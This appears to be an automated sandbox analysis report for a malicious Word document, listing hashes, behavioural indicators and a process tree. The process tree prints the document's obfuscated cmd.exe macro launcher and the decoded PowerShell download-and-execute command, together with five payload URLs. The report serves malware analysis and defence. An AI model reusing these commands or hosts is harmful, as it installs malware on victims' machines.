Analysis
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max time kernel
119s -
max time network
120s -
platform
windows7_x64 -
resource
win7-20240903-en -
resource tags
arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system -
submitted
20-11-2024 21:36
Behavioral task
behavioral1
Sample
e33209146f95e8c43d6ded642235f842d70b5c568d7ca006d52c4195423a8594.doc
Resource
win7-20240903-en
Behavioral task
behavioral2
Sample
e33209146f95e8c43d6ded642235f842d70b5c568d7ca006d52c4195423a8594.doc
Resource
win10v2004-20241007-en
General
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Target
e33209146f95e8c43d6ded642235f842d70b5c568d7ca006d52c4195423a8594.doc
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Size
64KB
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MD5
d9a8f9f7a45dba6f6883e89189c71c9e
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SHA1
4da0ddb8fae437314db58089a38c50e5105e93b5
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SHA256
e33209146f95e8c43d6ded642235f842d70b5c568d7ca006d52c4195423a8594
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SHA512
83e21823dd9a1abffba2280ccfd6dcebdbb65ec27e80fe8d6d69c8dd9b7db1b73ac317bb29a30dc6542874aa84385b10148db9274903ed3ac7c0dfafe5b47663
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SSDEEP
768:KooRooooM6AoroooonooQoooVoooooIooNpJcaUitGAlmrJpmxlzC+w99NB33y/o:SptJlmrJpmxlRw99NBny/qJP8GjmuZ
Malware Config
Extracted
http://www.muabangiup.com/I6gpE
http://www.tekere.es/ce45TO3
http://www.expressarsetelagoas.com.br/8tr1wP
http://www.fix4pc.co.uk/GOjXqkw
http://www.flora-lux.by/mJHgzFh
Signatures
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Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
Processes:
CMd.exedescription pid pid_target process target process Parent C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE is not expected to spawn this process 2748 3056 CMd.exe WINWORD.EXE -
Blocklisted process makes network request 1 IoCs
Processes:
powershell.exeflow pid process 7 2544 powershell.exe -
An obfuscated cmd.exe command-line is typically used to evade detection. 1 IoCs
Processes:
CMd.exepid process 2748 CMd.exe -
Drops file in Windows directory 1 IoCs
Processes:
WINWORD.EXEdescription ioc process File opened for modification C:\Windows\Debug\WIA\wiatrace.log WINWORD.EXE -
System Location Discovery: System Language Discovery 1 TTPs 3 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
Processes:
WINWORD.EXECMd.exepowershell.exedescription ioc process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language WINWORD.EXE Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language CMd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language powershell.exe -
Office loads VBA resources, possible macro or embedded object present
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Suspicious behavior: AddClipboardFormatListener 1 IoCs
Processes:
WINWORD.EXEpid process 3056 WINWORD.EXE -
Suspicious behavior: EnumeratesProcesses 1 IoCs
Processes:
powershell.exepid process 2544 powershell.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
Processes:
powershell.exedescription pid process Token: SeDebugPrivilege 2544 powershell.exe -
Suspicious use of SetWindowsHookEx 2 IoCs
Processes:
WINWORD.EXEpid process 3056 WINWORD.EXE 3056 WINWORD.EXE -
Suspicious use of WriteProcessMemory 12 IoCs
Processes:
WINWORD.EXECMd.exedescription pid process target process PID 3056 wrote to memory of 2748 3056 WINWORD.EXE CMd.exe PID 3056 wrote to memory of 2748 3056 WINWORD.EXE CMd.exe PID 3056 wrote to memory of 2748 3056 WINWORD.EXE CMd.exe PID 3056 wrote to memory of 2748 3056 WINWORD.EXE CMd.exe PID 2748 wrote to memory of 2544 2748 CMd.exe powershell.exe PID 2748 wrote to memory of 2544 2748 CMd.exe powershell.exe PID 2748 wrote to memory of 2544 2748 CMd.exe powershell.exe PID 2748 wrote to memory of 2544 2748 CMd.exe powershell.exe PID 3056 wrote to memory of 2840 3056 WINWORD.EXE splwow64.exe PID 3056 wrote to memory of 2840 3056 WINWORD.EXE splwow64.exe PID 3056 wrote to memory of 2840 3056 WINWORD.EXE splwow64.exe PID 3056 wrote to memory of 2840 3056 WINWORD.EXE splwow64.exe
Processes
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C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE"C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\e33209146f95e8c43d6ded642235f842d70b5c568d7ca006d52c4195423a8594.doc"1⤵
- Drops file in Windows directory
- System Location Discovery: System Language Discovery
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:3056 -
C:\Windows\SysWOW64\CMd.exeCMd /V^:^O/C"^s^e^t Z^5^I^A=^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^}^}^{hc^tac^}^;^k^a^er^b^;^A^m^d^$^ ^m^e^t^I^-^e^k^ovn^I^;)^A^m^d^$^ ^,^a^d^q$(^e^li^F^d^ao^ln^w^o^D^.^FCC^$^{^yr^t^{)DR^F^$^ n^i^ ^a^d^q^$(hc^a^er^o^f^;^'^e^xe^.^'^+VV^M^$^+^'^\^'+c^il^b^u^p^:vn^e^$^=^A^m^d^$^;'^5^36^'^ ^=^ VV^M^$^;)^'^@^'(^t^i^l^pS^.^'^h^F^z^g^H^J^m/^y^b^.^x^u^l^-^ar^o^l^f^.w^w^w//^:p^t^t^h^@^w^k^q^X^jO^G/k^u^.^oc^.c^p^4^xi^f^.^w^w^w//:^p^tt^h^@^Pw1r^t^8/r^b^.^m^oc^.^s^a^o^g^al^ete^sr^a^s^s^er^p^x^e^.w^w^w//^:p^t^t^h@3O^T^54^ec/^s^e^.^er^e^k^e^t^.^w^w^w//^:^p^t^t^h@^E^p^g^6^I/^m^oc^.^p^u^i^gn^a^ba^u^m.^w^w^w//^:^p^t^t^h^'^=^DR^F^$^;^tn^e^i^lC^b^e^W^.^t^eN^ ^tc^e^j^b^o^-^w^en^=^FCC^$ ^l^l^e^h^sr^ew^o^p&&^f^or /^L %^s ^in (^3^7^9^,^-^1^,^0)^d^o ^s^e^t ^U^2^y=!^U^2^y!!Z^5^I^A:~%^s,1!&&^i^f %^s=^=^0 c^a^l^l %^U^2^y:^~^-^3^8^0%"2⤵
- Process spawned unexpected child process
- An obfuscated cmd.exe command-line is typically used to evade detection.
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:2748 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell $CCF=new-object Net.WebClient;$FRD='http://www.muabangiup.com/I6gpE@http://www.tekere.es/ce45TO3@http://www.expressarsetelagoas.com.br/8tr1wP@http://www.fix4pc.co.uk/GOjXqkw@http://www.flora-lux.by/mJHgzFh'.Split('@');$MVV = '635';$dmA=$env:public+'\'+$MVV+'.exe';foreach($qda in $FRD){try{$CCF.DownloadFile($qda, $dmA);Invoke-Item $dmA;break;}catch{}}3⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2544
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C:\Windows\splwow64.exeC:\Windows\splwow64.exe 122882⤵PID:2840
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